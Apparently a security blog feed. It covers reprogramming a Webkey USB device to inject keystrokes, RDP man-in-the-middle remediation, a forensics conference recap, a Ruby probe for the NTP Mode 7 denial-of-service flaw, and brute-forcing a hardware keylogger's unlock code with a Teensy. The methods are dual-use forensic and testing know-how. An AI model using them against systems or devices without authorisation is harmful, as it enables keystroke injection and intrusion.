[0xA0 24 0x66 0x72 0x6f 0x6d 0x20 0x62 0x72 0x61 ]
[0xA0 32 0x64 0x80 0x80 0x80 0xFF 0xFF ][0xA0 0x00]


And just paste it into the Bus Pirate (make sure the Webkey isn't connected via USB):

 I2C>[0xA0 0 0xD3 0xB9 0x6e 0x6f 0x74 0x65 0x70 0x61 ]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x00 ACK
WRITE: 0xD3 ACK
WRITE: 0xB9 ACK
WRITE: 0x6E ACK
WRITE: 0x6F ACK
WRITE: 0x74 ACK
WRITE: 0x65 ACK
WRITE: 0x70 ACK
WRITE: 0x61 ACK
I2C STOP BIT
I2C>[0xA0 8 0x64 0x20 0xA8 0xFF 0xFF 0xFF 0xFF 0xFF ]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x08 ACK
WRITE: 0x64 ACK
WRITE: 0x20 ACK
WRITE: 0xA8 ACK
WRITE: 0xFF ACK
WRITE: 0xFF ACK
WRITE: 0xFF ACK
WRITE: 0xFF ACK
WRITE: 0xFF ACK
I2C STOP BIT
I2C>[0xA0 16 0xFF 0x20 0x68 0x65 0x6c 0x6c 0x6f 0x20 ]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x10 ACK
WRITE: 0xFF ACK
WRITE: 0x20 ACK
WRITE: 0x68 ACK
WRITE: 0x65 ACK
WRITE: 0x6C ACK
WRITE: 0x6C ACK
WRITE: 0x6F ACK
WRITE: 0x20 ACK
I2C STOP BIT
I2C>[0xA0 24 0x66 0x72 0x6f 0x6d 0x20 0x62 0x72 0x61 ]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x18 ACK
WRITE: 0x66 ACK
WRITE: 0x72 ACK
WRITE: 0x6F ACK
WRITE: 0x6D ACK
WRITE: 0x20 ACK
WRITE: 0x62 ACK
WRITE: 0x72 ACK
WRITE: 0x61 ACK
I2C STOP BIT
I2C>[0xA0 32 0x64 0x80 0x80 0x80 0xFF 0xFF ][0xA0 0x00]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x20 ACK
WRITE: 0x64 ACK
WRITE: 0x80 ACK
WRITE: 0x80 ACK
WRITE: 0x80 ACK
WRITE: 0xFF ACK
WRITE: 0xFF ACK
I2C STOP BIT
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x00 ACK
I2C STOP BIT
I2C>


Then turn off the Bus Pirate's power:

 I2C>w
POWER SUPPLIES OFF


All done! - Here's a quick video showing the overall process:



Wrap up

There are still a couple of things left unsolved with these Webkeys, they have some addition exposed leads on the board that I'm pretty sure can be used to program the MCU, and I haven't figured out the hex representation all of the keyboard control keys the Webkey uses in it's EEPROM (it doesn't use standard keycodes). For instance, I know 0xA8 is enter, 0xFF doesn't really do anything, and 0xA9 is escape - it would be nice to figure out the rest.

Also, it looks like some data on the EEPROM gets cut off with longer strings. I think there is a setting in the MCU that defines how many characters it expects the URL to be- If I figure out how to reprogram the MCU, then hopefully I can change that.

Overall, these things have a big potential for a cool free Teensy-like device. They also have some seriously scarey implications if they're branded with a company logo and left in an open area like the booth of a conference.


Stay Tuned - In the next couple of months I'll be releasing a whitepaper that details the inner workings of these fun little devices even more!

What do you think? Free your mind in the comments below!


↧
Search

Remediation Help: Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness

October 9, 2012, 3:30 am
$
0
0
By Tony Lee.

If your organization has had an vulnerability scan recently, you have probably run across a "Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" (or similiar) finding. In order to address the issue, it helps to understand it first. The aim of this article is to help YOU, the security practitioner, understand the vulnerability and work towards addressing the issue.

Note: If your servers are not running at least Windows 2003 SP1, options are limited as they do not support server authentication. For example, legacy Windows 2000 servers may have to be firewalled off or an IPSec tunnel may be needed until they can be replaced.

Security references:
CVE: 2005-1794
BID: 13818

The Test Environment

The following explanation of the RDP MiTM vulnerability is explained using a Windows 7 client (can easily be a Windows XP client with RDP 5.2 or higher) and a Windows 2003 SP2 server.

The reason why this setup was chosen is because it resembles what we see organizations currently running. Clients are being upgraded as new laptops or desktops are being distributed, however there are still a significant number of Windows 2003 Servers in the environment because as long as it works and it is supported--why upgrade?

If you are blessed enough to be running all Windows 2008 servers and all Windows 7 clients, you are well ahead of the game and may not even be affected by this issue as both of those operating systems natively support NLA with Kerberos. But who lives in such a dreamland? Let’s get back to reality.

Examining the Server

In Windows 2003 SP2, it is possible to view the Terminal Services server configuration by opening “Terminal Service Configuration”, selecting “Connections”, right-clicking on “RDP-Tcp”, and clicking “Properties” (as shown in the screenshot below). Under the General tab you will find the “Security Layer” and “Certificate” settings.



With no certificate present, the only options available for “Security Layer” are “RDP Security Layer” and “Negotiate”. Neither of these can provide server authentication as there is no certificate present. The descriptions for these two settings are:

  • RDP Security Layer - Communication between the server and the client will use native RDP encryption
  • Negotiate - The most secure layer that is supported by the client will be used. If supported, TLS 1.0 will be used.

Note that neither of the settings mention server authentication--more on this later.

Examining the Client

Part of what makes this issue so complicated to address is that it is not a server-only issue. A configuration change must be made on the clients as well as the servers.

For Remote Desktop Clients v5.2 and later, you should have at least three options. The Microsoft Help Documentation describes them as such:

  • Connect and don't warn me - With this option, even if Remote Desktop Connection can't verify the identity of the remote computer, it connects anyway
  • Warn me - With this option, if Remote Desktop Connection can't verify the identity of the remote computer, it warns you so that you can choose whether to proceed with the connection or not
  • Do not connect - With this option, if Remote Desktop Connection can't verify the identity of the remote computer, you won't be able to connect

After examining the settings above, you could imagine that the most frustrating occurrence would be to fix the issue on the servers and have the clients ignore a certificate mismatch because they are set to “Connect and don’t warn me”. These settings should remind you that this is a client as well as a server issue.

"Testing, 1, 2… Is this thing on?"

For all of our connection tests, we will use an RDP client that is setup to “Warn Me”, as shown in the RDP client screenshot below.



When connecting to an RDP server that does not have a certificate generated for it (the same as the server configuration in Figure 1), a simplistic warning will appear stating that the server cannot be verified (as seen in the screenshot below).

When providing the server a certificate, as shown in the screenshot below, a new Security Layer option becomes available, “SSL”. The description for SSL reads as follows:

  • SSL - “SSL (TLS 1.0) will be used for server authentication as well as for encrypting all data transferred between the server and the client.”



Now that the server is configured to use “SSL” for the Security Layer settings, (enabling server authentication), the client now receives a more descriptive warning if an error occurs.

If the user forgets to use the Fully Qualified Domain Name (FQDN) and instead uses the IP address, they can get a name mismatch error as shown in the screenshot below:



Now that the user uses the FQDN, if anything is amiss, they will still receive an error message, such as the screenshot below which states that the certificate chain is invalid. This is because the certificate that was issued to this server is self signed and not in the Trusted Root Certificate Authority store.

To fix this error, certificates can be purchased from a certificate authority that is already in the Trusted Root Certificate Authority Store, however that is a very expensive fix--especially if you have hundreds of servers. A more economical approach is to use an internal certificate authority and add that to the Trusted Root Certificate Authority Store for each host in the domain. Clients will no longer get this error message and will be alerted to any MiTM attempts.

It All Makes Sense… Now, I Need a Fix

Remember, any hosts prior to Windows 2003 SP1 will require Network Layer Protection (NLP) such as an IPSec tunnel or another creative fix until they can be upgraded.

Windows 2003 SP1 and above can be fixed using the method above by issuing Server Certificates from an Internal CA that all clients trust. Much of this can be accomplished via registry hacks, scripts, and GPO. All clients must then be configured to NOT ignore certificate issues.

Windows 2008 environments can use the certificate method as well as Network Level Authentication (NLA) with Kerberos. For more information on this and other fixes see the article below:

http://blogs.msdn.com/b/rds/archive/2008/07/21/configuring-terminal-servers-for-server-authentication-to-prevent-man-in-the-middle-attacks.aspx

↧
↧

OMFW and OSDFC Recap

October 10, 2012, 8:08 am
$
0
0
By Glenn P. Edwards Jr.

Recently I had the pleasure to attend both the Open Memory Forensics Workshop (OMFW) and Open Source Digital Forensics Conference (OSDFC). While some of you reading this may have also attended, seen some tweets about what was going on, or read about some of its details elsewhere, I wanted to write up a quick post with my notes and observations. I really liked having both conferences back to back and on the East Coast - hopefully in the future it can continue to be held as such (fingers crossed!). The first key takeaway from both of them was that quick 30-40 minute talks are key. They help ensure the speaker doesn’t go on a rant or off-topic from audience questions but more importantly it helps keep the audience engaged… so… to the other cons: please take that into consideration. I was trying to hold off to see if all of the slides would be posted online, which I heard they will be, but not all were, so feel free to drop a comment or send me a tweet if you want them linked to. I didn’t get a chance to take notes on everything so if I didn’t touch on your talk or if I am light in the content… sorry.

OMFW

The OMFW was well… mind blowing for the most part. The amount of knowledge the Volatility guys (and girl) have is insane. If you’ve been in a cave, I suggest you start out by reading their posts for their Month of Volatility Plugins leading up to OMFW. I liked that while there was some overlap for some of those posts with what was being discussed they also made a point to add more in-depth information and examples during their presentations.

During the conference they officially dropped Volatility v2.2 so if you don’t already have it you should be issuing a pull for it right about now. This latest version, to say the least, has a ton of new plugins and full support for Windows x64. One of the long awaited things that officially announced during this conference was that the Volatility crew is going to be offering their own training! This means you’ll be learning first hand from the same people who are developing it which doesn’t get any better. They’re supposed to be offering a regular class which is a week-long and at the end of which you will have strong Volatility kung-fu while the other training mentioned would leave you with more knowledge of reversing things to create plugins and be more comfortable with the development side of things. Be on the lookout for further information but some details can be found on their site.


Andrew "attrc" Case

Slides: Not posted

Andrew has been doing some great work in the Mac and Linux side of things but his presentation was primarily focused on some of the new Linux plugins he’s been working on. Here’s a quick rundown on some of the notes regarding them:
  • linux_bash - shows timestamp in ePoch time
  • linux_arp - can be used to help detect lateral movements
  • linux_dentry_cache - helps detect communication w/ external sources
  • linux_tmpfs - grab tmp filesystems (in-memory FS's)


Jamie “Gleeda” Levy - Reconstructing The MBR and MFT From Memory


Jamie's talk touched on two new plugins regarding more of the forensics side of things. The first one was ‘mbr-parser’ (can help detect bootkits) and the other one was ‘mft-parser’ (can help detect time stomping).

One of the key take a ways from her presentation was that Windows XP loads only the bootcode into memory while Vista+ loads the entire MBR into memory. I tried coming up with a reason why Windows would need to load the entire MBR into memory if it’s already booted up and doesn’t need it anymore but all I could come up with at the time was possible a power setting (i.e. – hibernation/sleep mode) but that doesn’t seem right after further thinking… so if you know why please send me over a tweet.

In an enterprise environment one of the cool things she touched on was the idea of hashing the first 440 bytes and then scanning your network to see if other systems match what you’re considering an MBR rootkit. As a side note, this has the potential for false positives since the message strings might change.

We all had the pleasure to be in the attendance of George M. Garner Jr. … the man, the legend. He gave a talk about PFN DB’s which is where the Memory Manager keeps track of each page of memory and also contains metadata about every physical page in the physical memory map. He had a great quote during his speech which is something you should really think about:

"If I think of an exploit, someone else has already been doing it for 6+ months"


AAron Walters - Cache Rules Everything Around Me(mory)


Aaron gave a great talk. He had a wealth of information throughout his presentation but he also talked really really fast so it was better to just sit back and listen than try and miss things by writing down – so I suggest reading the link above.

Michael Hale "MHL" Ligh

Slides: Not posted

The last segment was MHL himself where he, as Andrew said, was “melting people’s brains”. He went into some reversing he’s been doing but the key take away was it all lead to some great subsystem plugins.


Misc. Plugins

Here are some misc. notes regarding some of the plugins they touched on:
  • Wintree - shows process windows from front to back (stacked; Z-order)
  • PtiList - column w/in psxview that shows list w/in Desktops. Shows threads that use “setthreaddesktop”
  • Atoms – uses the ‘GlobalAddAtom’ API call which is another way similar to mutexes
  • Windows - plugin that can be used to detect USB insertions (WM_Device_Change - message if new device is connected)
  • Messagehooks - useful for keylogger detection


OSDFC

OMFW publically said that the official Twitter hashtag for the conference would be “#omfw2012” so it was easy to see what other people were attending so you could follow new people but more importantly it helped the rest of the world if they wanted to follow what was going on there. I didn’t come across anywhere where it stated what to use for OSDFC so I personally took the OMFW route with my hashtag but soon found out others were using all sorts of variations. For the future and ease of everyone else, this is something simple that the community can address in the years to come (unless I just missed it). Even for my failure here, some of my Twitter followers still found the tweets and one in particular, Corey, wrote up some information regarding some of the topics I tweeted about. You should check out his write up too but even though there will be some overlap, there’s still going to be some new additions below.

Autopsy 3.0 - Brian Carrier

Brian Carrier started off the conference by stating The Sleuth Kit (TSK) v4 was officially released and shortly Autopsy 3.0 would be as well. While some people might oppose GUI’s, I personally like them from time to time as it helps me visualize things better than a blob of text in a terminal. The older versions of Autoposy were written back in the day and its web UI was coded in straight HTML. If you’re looking for a free alternative to FTK/EnCase then I suggest taking a look at this latest version. Here are some of the highlights I captured about it:
  • Ingest modules run in parallel which will help speed up processing/analysis
  • The Yellow triangle symbol is the inbox for notifications (de-duplicates)
  • If you only want to look at specific things or get a quick idea if something’s there you can uncheck specific ingest modules for triage
  • This version will have an auto-update feature (can be turned off)
  • There will be an API available to others can write their own modules; there will also be a wiki page for 3rd party modules


Analyzing Volume Shadow Snapshots (VSS) without Using Windows - Joachim Metz

Joachim from Google is responsible for some amazing work. During the conference it was actually stated that he had to prove he wasn’t a bot because he had so many Google Code sites. As a result of his library creating, you no longer need Windows to analyze VSS! His paper can be found here [PDF] and his slides here [PDF].


Advanced Registry Forensics with Registry Decoder - Dr. Lodovico Marziale

There’s a good amount of registry tools out there these days and some are good for scripting while others are good for visualizing or performing additional tasks GUI tools like the native RegEdit or Access Data’s Registry Viewer can’t do. The later of the two examples is where Registry Decoder shines. Here are some of the notes I took:

  • The live version stepped away from creating a restore point in order to get a pristine copy of the registry and now uses TSK.
  • It has an API for plugins
  • The search path can be used to see if malware or specific software is installed on systems
  • There’s a differencing ability (2 at a time):
    • Click “perform diff” and the color codes indicate what the differences are across what’s selected
    • You can also diff the same system over time to see changes (i.e. – what services were added). Helps show when infection occurred or what exists on system A but not B

Forensic Scanner - Harlan Carvey

Harlan’s talked a bit in the past about his forensic scanner but until now there was never any code released related to it… until now. The premise behind it is that not every investigation is going to be about something bleeding edge and you just need to see if something exists, or other times when we see ourselves doing repetitive tasks when we can automate it. Adding to the latter, if you don’t spend time doing one particular task for a while and then have to do it again … will you remember everything you need to in order to successfully complete it? There’s too much to remember these days. Another key thing brought up is when a team member spends time figuring something out or goes to training and then they leave – that knowledge leaves with them. If you have a system where they can plug that knowledge into (whether it be a module, plugin, wiki etc.) then that saves your team/company time and money and preserves that knowledge that otherwise would have been lost.

The tool is pretty simple to operate, point it to a drive and let it rip. There’s more that can be done or configured obviously but Harlan provided a PDF within the forensic scanner which gives basic overview of what the tool is and how to use it so read that if you want to know.

Cross-Drive Analysis with Bulk_Extractor and CDA Tool - Simson Garfinkel

I’m sure most of you have used or at least heard of bulk_extractor by now so I’m not going to waste time writing a novel about all of the things it can do. After the conference Jesse stated something about this tool that hits it right on point “… the best thing about bulk_extractor is it’s highly configurable. The worst thing about bulk_extractor is it’s highly configurable”. Bulk_extractor v1.3 was released and there’s a ton of new scanners with it so I suggest taking a look at it (did you know it has a prefetch scanner? I didn’t). An audience member asked a good question “Is bulk_extractor vulnerable to a zip bomb?” … and a smart answer (of course) was replied “The default iteration is to go down 5 levels (can be changed) & it computes a hash of what was previously extracted so it doesn’t extract it again; therefore isn’t subject to a zip bomb”… good to know.

The cda_tool.py is a tool that takes the output from bulk_extractor and performs correlation based on bulk_extractor reports. As a note, it’s written in Python 3.x because “there’s more money to be made in the future, not the past”. This tools produces a few reports but one note is the histograms which will show a summary of the top things found.

Cross-drive analysis [PDF] is useful to see if something is normal or not. The thought process is you may have single drive and not know if what you’re seeing is normal or abnormal in its own context so you can correlate it with other drives to get a better understanding. Simson also touched on some interesting facts:

  • The average *nix install has ~24k email addresses because developers include them in their tools. If you’re searching for email addresses you may want to suppress these since they probably won’t be relevant to your investigation, however, you probably only want to suppress them based on the context of them being included in those tools. Meaning – john.doe(at)gmail.com may not be important to you if you see that email address in some source code but if you see it in the context of fraud of related to child pornography you would want to know about it. To address this problem you can use ‘stop_list.txt’.
  • BEViewer – a GUI for browsing features that have been extracted via the bulk_extractor feature extraction tool.


GRR Rapid Response - Darren Bilby

I first heard about GRR a little while back but up until this conference I hadn’t seen or messed around with it. If you want a real understanding of it, check out the DFWRS paper on it here [PDF]. If you don’t have the time to set it up but want to get a feel for it’s UI you can check out the EC2 instance of it here (note that there’s obvious limitations that you can’t do with it such as memory dumping etc.). The UI is slick as it has the Google AJAX look to it (sorry Brian, no straight HTML here), it is cross platform (Mac, *nix, Windows) and scales – which is obviously a big concern for large organizations.

Their thought process was that if they needed to do something to one computer, they should be able to do it to 100k+ computers. It’s a server/client architecture where a client is simplistically installed on the endpoint and can then be managed/worked on. It allows the analyst to do some of the traditional forensic tasks but adds the ability to remotely analyze the endpoints memory with Volatility (they wrote their own drivers which get pushed to the endpoint in order for this to happen). For collaboration purposes, GRR allows multiple analysts to be working on the same case at the same time. Last note – the default option is to run TSK on the client locally because it’s faster, however, they did make it configurable in case you want the tools to run from the server instead.

In RAM We Trust: A Modern Approach to Forensic Processing - Vassil Roussev

This talk kind of went in the opposite direction from the one before it (about Hadoop) in that this one said it’s faster to do everything in RAM. It’s a back and forth approach … we used to do everything in RAM then switched back from it but now has gone back to it in a sense. The speaker touched on a tool, pigz, which I had previously been informed about but hadn’t had the chance to take a look at. In short, it’s a much faster alternative to using gzip so it’s worth a mention again.

Sleuthing Beyond the ‘Kit: The Best of the Rest - Cory Altheide

Cory gave a talk at a previous OSDFC and has also written a great book around the topic of DFIR with open source tools. This talk was geared around being an update to his previous talk and to mention some of the new hotness on the block. I’m a tool junkie so this talk was right up my alley so I’ll just get to my notes:

  • iOS devices are HFSX which TSK can parse
  • Origami’s pdfcop allows you to make your own rules/sigs to flag based on characteristics you state. This is useful if you want to flag known spear phishing attempts or want to flag based on ceratin characteristics of malicious PDFs (i.e. - 1 page with an OpenAction, JS and an invalid XREF)
  • Malpdfobj - can output its results to a DB
  • Pev – a “multiplatform PE analysis toolkit that includes tools to retrieve and parsing information about Windows PE files.”
  • Verify-sigs - “Provides a python fingerprinter class to compute all manner of hashes on files (for now, 'generic' hashes on all files, and Authenticode compliant hashes on PE/COFF files). Also provides a validator class to check Authenticode signatures”
  • Pyelftools – A library for analyzing ELF files and DWARF debugging information
  • Macholib/macho_dump – a Mach-O analyzer
  • GCluster - A tool based on Pyew to help clustering sets of executables; Can be used to compare EXE files based on call graphs
  • Bokken - A GUI for the Pyew and Radare projects
    • The Callgraph tab will show a visual representation of all the elements found in the HTML of the website and all those links with parameters will be shown parsed and grouped
  • Hachoir-metadata – This tool will parse corrupt files as long as the header is there
  • Hachoir-subfile – This tool will by default show you anything it thinks is embedded within the file that you supply it. However, I pointed out to Cory that it will also extract whatever it finds if you supply it with an output destination which will make things a lot easier.
  • usboblivion - “… utility designed to erase all traces of USB-connected drives and CD-ROMs from the registry in Windows 2000, Windows XP, Windows 2003, Windows Vista, Windows 7 32/64-bit versions”


    • At the end of his presentation he gave a big shout-out to Willi B for all of the great work he’s been doing – and it’s well deserved.

    Other News

    • TAPEWORM - A linux VM with a GUI and some script to automate some of the common forensic tasks (Log2timeline, EXIF, A/V scans, Volatility etc.) – download here.
    • Log2Timeline - Be on the lookout for a python version!
    ↧

    Pentest Scripts: Verifying NTP Reserved Mode Denial of Service

    October 16, 2012, 5:55 am
    $
    0
    0
    By Gursev Singh Kalra.

    I recently needed to check a NTP Reserved Mode Denial of Service vulnerability CVE-2009-3563, but without causing the DoS condition on the production server. The issue comes up when one NTP daemon queries another with the MODE_PRIVATE flag set:



    If the target NTP server provides a response, it's vulnerable:



    A denial of service condition could happen if an attacker spoof's the IP of a vulnerable NTP server, then sends a NTP query with the MODE_PRIVATE flag set. The two NTP servers enter a continuous loop, sending MODE_PRIVATE queries back and forth. Metasploit’s auxiliary module auxiliary/dos/ntp/ntpd_reserved_dos demonstrates this issue, however it also executes the vulnerability so I wrote my own Ruby script to assess the remote server.

    Download:

     
    #Author: Gursev Singh Kalra
    require 'socket'
    TIMEOUT = 5 

    if(ARGV.count != 1)
     puts "[-] Target host not provided. Usage: ntp.rb "
     exit
    end

    target_server = ARGV[0]
    target_port = 123

    socket = nil
    response = nil

    begin
     test_string = "\x97\x00\x00\x00\xAA\x00\x00\x00"
     socket = UDPSocket.open
     socket.send(test_string, 0, target_server, target_port)
     if select([socket], nil, nil, TIMEOUT)
      response = socket.recvfrom(10)
     end
    rescue (IOError ex)
     puts ex.to_s
    ensure
     socket.close if(socket)
    end

    if(response && response[0].index("\x97\x00\x00\x00"))
     puts "[+] Vulnerable to NTP Mode 7 Request Denial Of Service"
    else
     puts "[-] Not vulnerable to NTP Mode 7 Request Denial Of Service"
    end


    Here's what the tool's output looks like:



    Great minds...

    After I wrote this script I passed it on to a co-worker, Brad Antoniewicz, and to my suprise, I discovered that he actually wrote the same script, but in python! So we decided to throw up all of our scripts on GitHub to help avoid and future duplication.

    Here are a bunch of pentest scripts that help speed up manual validation of vulnerabilities and the you can potentially leverage the outputs for further attack.


    ↧

    Hacking KeyLoggers

    October 23, 2012, 3:30 am
    $
    0
    0
    By Mike Spohn and Brad Antoniewicz.

    Our forensics investigations often result in us having to identify odd devices left over by attackers. So when we recently had to investigate a suspicious USB device connected between the keyboard and USB port on the rear chassis of a senior executive’s desktop computer, my job (I chose to accept it) was to discover what the device was and if it was evil.

    Identifying the Device

    The device was a very non-descript in appearance. It measured exactly 1” in length from the rear edge to the beginning of the male connector. The edges were beveled and the universal USB symbol was imprinted on the top and bottom. There were evenly spaced vertical striations on the sides. Here's an image of a keylogger from a competitor's site that resembled the device we were investigating.



    Being the suspicious sort I am, this device and I did not become instant friends. A colleague scoured the Internet and notified me he found a very similar device manufactured by a company who specializes in hardware keystroke loggers. Since the device was relatively cheap (< $80), I ordered one for experimentation in the forensic lab. I'm intentionally not disclosing the actual manufacturer of the device so that they won't figure out a way to protect themselves against our attacks described below.

    When the keylog device arrived, I visually compared it with the suspicious device provided by the client. They appeared identical. I next used an ohmmeter to measure the electrical properties of each device. Measuring the resistance between the front and rear USB pins determined both devices had the exact same electrical properties. The ohmmeter also indicated the devices had resistive/capacitive (RC) characteristics due the obvious RC time constant resistance behavior. At this point, I knew the device was not passive – it has an electronic brain.

    The Unlock Code

    Reading the documentation for the keylog device I learned it had a simple, elegant design. When the device is plugged into a computer and the O/S interrogates the device via Plug-N-Play (PNP), the device does not respond. Instead, the device goes into keyboard capture mode and logs every keystroke to a simple text file. All keystrokes are then passed on to the computer.

    To retrieve a keystroke log from the keylog device, the owner must enter a three-key combination of keystrokes. The three keys must be alpha-numeric and must be pressed at the same time. For example, if the unlock key combination is ‘ABC,’ the owner must press the ‘A’ ‘B’ abd ‘C’ keys at the same time. Case does not matter. The unlock code can be changed from the default by placing a config.ini file on the device with a “Password=” entry.

    Once the correct unlock key combination is entered, the device will send a PNP signal to the O/S. The device will advertise itself as a removable disk device, and the O/S will mount it. Once mounted, the owner can retrieve the keystroke log.

    I attempted to unlock the clients’ device using the ‘default’ unlock code and it did not mount. If this was, in fact, a keylog device, the owner changed the unlock code. My challenge now was - how do I unlock the device?

    The solution seemed obvious. Figure out a way to emulate a USB keyboard and send all combinations of three-key codes to the device until the right combination is sent. Simple – right? Not so fast Sherlock. Remember, you have to send the unlock code to the rear (keyboard) side of the device, not from the host computer.

    USB Keyboard Emulation

    The first thing that came to mind was a Teensy. This device, about the size of a postage stamp, provides a complete development environment for emulating a USB device and USB keyboard emulation. Even better, the device costs $16 US.

    Once I had a Teensy 2.0 in the lab, I wrote a quick test program in C and transferred it to the device. After some experimentation, I had a complete program that would send all three-key alpha-numeric key combinations out the mini-usb port of the Teensy device. To crack the keylog unlock code I had to perform three steps:
    1. Burn my key-crack application on the Teensy device
    2. Connect the keylog device to a computer
    3. Connect the Teensy device to the rear connector of the keylog device

    Using The Teensy 2.0 To Brute Force The Unlock Key

    You'll have to configure your system if you've never used the Teensy before. Our test system will be using Backtrack 5 R3. Windows was used originally, but once Windows 7 couldn't find the driver for my USB keyboard I jumped over to Linux. In the end the OS doesn't make much of a difference because once you identify the unlock code, it automatically mounts itself as a storage device accessible by all modern operating systems.

    First up, we'll need to install our prerequisites: 

     root@bt:~# apt-get install gcc-avr binutils-avr avr-libc



    You can flash the Teensy a variety of ways, here we'll do it using the Teensy Loader CLI utility:

     root@bt:~# wget http://www.pjrc.com/teensy/teensy_loader_cli.2.0.tar.gz
     root@bt:~# tar -zxvf teensy_loader_cli.2.0.tar.gz
     root@bt:~# wget http://www.pjrc.com/teensy/hid_listen_1.01.zip
     root@bt:~# unzip hid_listen_1.01.zip



    The Makefile included in the repository will perform the flash, which we'll go over in a couple of steps. For now, it's just important that the loader is on your system and decompressed. Next will grab a copy of the repository:

     root@bt:~# git clone https://github.com/OpenSecurityResearch/usb-keylog-crack.git
     root@bt:~# cd usb-keylog-crack



    Edit the Makefile and set TEENSY_LOADER_CLI with the path to the teensy_loader_cli binary. By default it's set to ../teensy_loader_cli/teensy_loader_cli:

     root@bt:~/usb-keylog-crack# grep "TEENSY_LOADER_CLI " Makefile
    # Be sure to set TEENSY_LOADER_CLI variable below
    TEENSY_LOADER_CLI = ../teensy_loader_cli/teensy_loader_cli



    With the appropriate values set, you can build the cracker:

     root@bt:~/usb-keylog-crack# make all



    To flash, insert the Teensy and press the "Reset" button, this will put it into it's HalfKay bootloader. Now we can flash the usb-keylog-crack code:

      root@bt:~/usb-keylog-crack# make program
    ../teensy_loader_cli/teensy_loader_cli -mmcu=atmega32u4         -v usb_keylog_crack.hex
    Teensy Loader, Command Line, Version 2.0
    Read "usb_keylog_crack.hex": 5008 bytes, 15.5% usage
    Found HalfKay Bootloader
    Programming........................................
    Booting
    root@bt:~/usb-keylog-crack#



    usb-keylog-crack uses the Teensy's USB debugging functionality to provide information during the cracking. We'll use the hid_listen utility to grab this debugging info:

     root@bt:~/usb-keylog-crack# cd ~/ 
     root@bt:~# wget http://www.pjrc.com/teensy/hid_listen_1.01.zip
     root@bt:~# unzip hid_listen_1.01.zip
     root@bt:~# cd hid_listen
     root@bt:~/hid_listen# make
     root@bt:~/hid_listen# ./hid_listen
    Waiting for device:...



    Now we're ready - Insert the Teensy 2.0 into the Keylogger, then insert the Keylogger into the computer. Sit back and relax, after a few minutes you should see the banner and brute force attempts:

     root@bt:~/hid_listen# ./hid_listen
    Waiting for device:...
    Listening:
    Keylog crack application
    Written by Michael G. Spohn
    June 3, 2012
    0001) Trying: QWQ (0014 001A 0014)
    0002) Trying: QWE (0014 001A 0008)
    0003) Trying: QWR (0014 001A 0015)
    0004) Trying: QWT (0014 001A 0017)
    0005) Trying: QWY (0014 001A 001C)
    0006) Trying: QWU (0014 001A 0018)
    0007) Trying: QWI (0014 001A 000C)
    0008) Trying: QWO (0014 001A 0012)
    0009) Trying: QWP (0014 001A 0013)
    000A) Trying: QWA (0014 001A 0004)
    000B) Trying: QWS (0014 001A 0016)
    000C) Trying: QWD (0014 001A 0007)
    000D) Trying: QWF (0014 001A 0009)
    000E) Trying: QWG (0014 001A 000A)
    000F) Trying: QWH (0014 001A 000B)
    0010) Trying: QWJ (0014 001A 000D)
    0011) Trying: QWK (0014 001A 000E)
    0012) Trying: QWL (0014 001A 000F)
    0013) Trying: QWZ (0014 001A 001D)
    0014) Trying: QWX (0014 001A 001B)



    I threw everything together in a quick video:



    Attacking the Attacker

    I tested my key-crack rig against the R&D device. It worked - but it was inconsistent. Occasionally, the test keylog device would mount after successfully guessing the unlock keycode, but the keystroke log file was gone. In fact, it appeared the device had been wiped.

    More experimentation determined there was an ‘undocumented’ feature of the device. A specific three-key unlock code had been assigned by the manufacturer as a ‘reset’ code. This is used in the event someone forgets their unlock keycode. Whenever my Teensy sent this combination down the wire – the keylog device was wiped. I modified my key-crack app to bypass the unlock code. After some more thorough testing, I was confident my Teensy would unlock the clients’ keylog device.



    It took less than 30 seconds. The clients’ keylog device mounted and I was able to retrieve the keystroke log file and the config.ini file. Since the keystroke log has no concept of time, the client had to review the file content and correlate how much sensitive data might be somewhere it does not belong. Needless to say, providing this keystroke log file to the client was a truly valuable service.

    Final Thoughts

    These types of engagements always remind me of the importance of the physical security component of any security program. The keystroke log bandit who placed the device on the clients’ computer had to have physical access to it.

    You read a lot these days about businesses and governments trying to re-invent themselves by focusing on innovation and ingenuity. This also applies to the digital security incident response universe. Innovation and adaptation to the constantly changing environment during a hot incident is essential. To all my fellow white-hats out there – never ever give up the good fight. If we do, we all lose.

    Hack the planet.

    ↧

    Comcast and DOCSIS 3.0 - Worth the upgrade?

    October 26, 2012, 10:42 am
    $
    0
    0
    By Tony Lee.

    There doesn't seem to be a whole lot of useful information about Comcast's DOCSIS v3.0 upgrade available on the web, so I figured I would post my findings. About a month back I received a letter from Comcast saying that they have upgraded their “Blast Internet service” in my area and that their records showed that I was still on a DOCSIS 2.0 modem. They were advising me to purchase a DOCSIS 3.0 modem and I wondered if it would even be worth the upgrade. This article will explain the results.

    Suggested Upgrade

    Armed with this letter’s vague claim to upgrade, I went to the Internet to look for others who received the same letter, but I found nothing. I even went to Comcast’s website to find empirical evidence - that was met with more unsubstantiated claims of increased speeds and the benefits of DOCSIS 3.0. You will find wording such as:

    Upgrade your speed
    DOCSIS 3.0 is the next generation of DOCSIS (Data Over Cable Services Interface Specification), an international telecommunications standard that lets cable television operators add high-speed and telephony data to their current cable TV systems.

    With DOCSIS 3.0, you’ll experience significantly faster speeds, so you can make the most of your online experience. DOCSIS 3.0 also opens the door to new Internet technologies.

    Upgrade your equipment
    To take advantage of DOCSIS 3.0, you need a DOCSIS 3.0 modem. DOCSIS 2.0 modems will still work with our speed tiers (except for Blast and Extreme 50), but you won’t experience the blistering fast speeds now available. We also recommend upgrading to an 802.11n wireless router; 802.11g routers only support up to 20 Mbps. If you lease your modem, router, or gateway device from us, we’ll upgrade it at no extra charge.

    If you already have a DOCSIS 3.0 modem, you may need to power cycle it to take advantage of our new, faster speeds.

    -- Source: http://customer.comcast.com/help-and-support/internet/docsis3/

    So what is an inquisitive nerd to do? -- Why, contact the expert technicians course! I asked multiple employees questions such as the following:

    • What sort of speed difference will I see?
    • Why does a DOCSIS 3.0 modem increase my speed?
    • Are you channel bonding? (explained later)
    • Do you support the SB6180 modem? (explained later)

    However, to my frustration, no one could answer these questions. To understand the answer, you should understand a little bit about the difference in technology.

